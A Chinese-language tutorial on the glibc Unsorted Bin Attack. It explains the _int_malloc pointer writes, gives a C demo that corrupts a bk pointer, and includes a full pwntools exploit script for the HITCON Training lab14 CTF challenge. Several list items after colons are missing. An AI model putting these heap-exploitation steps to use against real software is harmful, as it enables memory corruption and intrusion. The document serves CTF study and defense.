Unsorted Bin Attack是一种针对glibc内存管理机制的漏洞利用技术。要理解这个攻击手法,我们得先了解glibc中unsorted bin的基本工作原理。
unsorted bin在glibc的内存管理体系中扮演着缓冲区的角色。当程序释放一个不属于fast bin大小的chunk时,这个chunk首先会被放入unsorted bin中。与fast bin和small bin不同,unsorted bin是一个双向链表,而且其中的chunk不会按照大小排序。
unsorted bin的关键特性包括:
攻击的核心在于利用_int_malloc函数中对unsorted bin的操作代码。具体来说,当从unsorted bin中取出一个chunk时,会执行以下关键操作:
c复制unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
这两行代码实际上是在维护双向链表的完整性。如果我们能够控制某个chunk的bk指针,就能实现任意地址写入一个较大的值(通常是unsorted bin的地址)。
让我们深入分析_int_malloc中与unsorted bin相关的关键代码片段。理解这些代码是成功利用漏洞的基础。
在malloc.c的_int_malloc函数中,处理unsorted bin的部分有几个关键点需要注意。首先是检查chunk完整性的代码:
c复制if (__glibc_unlikely (bck->fd != victim))
malloc_printerr("malloc(): corrupted unsorted chunks 3");
这个检查确保了双向链表的完整性。如果我们要修改bk指针,必须确保这个检查能够通过。
接下来是实际修改指针的代码:
c复制unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
这两行代码的执行效果是:
如果我们能够控制bck(即victim chunk的bk指针),就能实现向任意地址写入unsorted bin头节点的地址。
为了更好地理解,我们来看一个简化的示例程序。这个程序演示了如何通过控制bk指针来修改目标变量的值。
c复制#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target_var = 0;
printf("&target_var = %p, value = %lu\n", &target_var, target_var);
unsigned long *p = malloc(400);
malloc(500); // 防止合并到top chunk
free(p);
// 修改p的bk指针
p[1] = (unsigned long)(&target_var - 2);
malloc(400); // 触发unsorted bin attack
printf("After attack: &target_var = %p, value = %lu\n",
&target_var, target_var);
return 0;
}
这个程序的执行流程如下:
为什么是target_var-2?因为在glibc的实现中,bk指针指向的是下一个chunk的头部,而我们需要伪造一个chunk结构。对于64位系统,chunk头的大小是0x10字节。
现在我们来分析一个真实的CTF题目 - HITCON Training lab14,展示如何利用Unsorted Bin Attack获取flag。
首先检查程序的基本信息:
关键点在于程序中有一个magic全局变量,当它的值大于4869(0x1305)时,会调用system("cat flag")。
程序存在以下问题:
我们的目标是利用堆溢出修改某个chunk的bk指针,然后通过Unsorted Bin Attack修改magic变量的值。
具体利用步骤如下:
创建三个chunk:
释放chunk1,它会被放入unsorted bin
通过chunk0溢出,修改chunk1的bk指针,指向magic-0x10
再次申请一个0x80大小的chunk,触发unsorted bin attack
magic变量被修改为unsorted bin的地址(一个很大的值)
触发magic检查,获取flag
python复制from pwn import *
context.log_level = 'debug'
def create(size, content):
p.sendlineafter(':', '1')
p.sendlineafter(':', str(size))
p.sendafter(':', content)
def edit(idx, size, content):
p.sendlineafter(':', '2')
p.sendlineafter(':', str(idx))
p.sendlineafter(':', str(size))
p.sendafter(':', content)
def delete(idx):
p.sendlineafter(':', '3')
p.sendlineafter(':', str(idx))
p = process('./heapcreator')
# 创建三个chunk
create(0x20, 'A'*0x20) # chunk0
create(0x80, 'B'*0x80) # chunk1
create(0x20, 'C'*0x20) # chunk2
# 释放chunk1到unsorted bin
delete(1)
# 准备fake chunk
magic = 0x6020c0
fake_chunk = magic - 0x10
# 通过chunk0溢出修改chunk1的bk指针
payload = 'A'*0x20 # 填充chunk0
payload += p64(0) # chunk1的prev_size
payload += p64(0x91) # chunk1的size
payload += p64(0) # chunk1的fd
payload += p64(fake_chunk) # chunk1的bk
edit(0, len(payload), payload)
# 触发unsorted bin attack
create(0x80, 'D'*0x80)
# 触发magic检查
p.sendlineafter(':', '4869')
p.interactive()
了解攻击手法后,我们也要知道如何防御这类漏洞。glibc已经采取了一些措施:
c复制if (__glibc_unlikely (bck->fd != victim))
malloc_printerr("malloc(): corrupted unsorted chunks 3");
开发者可以采取以下预防措施:
在CTF比赛中,出题者可以通过以下方式增加难度:
虽然在CTF中Unsorted Bin Attack是一个常见的考点,但在实际漏洞利用中会遇到更多挑战:
一个实际的利用流程可能包括:
Unsorted Bin Attack虽然强大,但也有其局限性。它只能写入一个较大的值(通常是unsorted bin的地址),不能精确控制写入的内容。在实际利用中,我们通常需要结合其他技术:
理解这些底层机制不仅对CTF比赛有帮助,对日常开发中的内存管理、性能优化也有重要意义。比如,了解glibc的内存分配策略可以帮助我们优化程序的内存使用效率。
在分析这类漏洞时,使用gdb配合pwndbg等插件非常有用。一些常用的命令包括:
最后要强调的是,这些技术应该仅用于合法授权的安全研究和CTF比赛。在实际开发中,我们应该遵循安全编程实践,避免引入这类漏洞。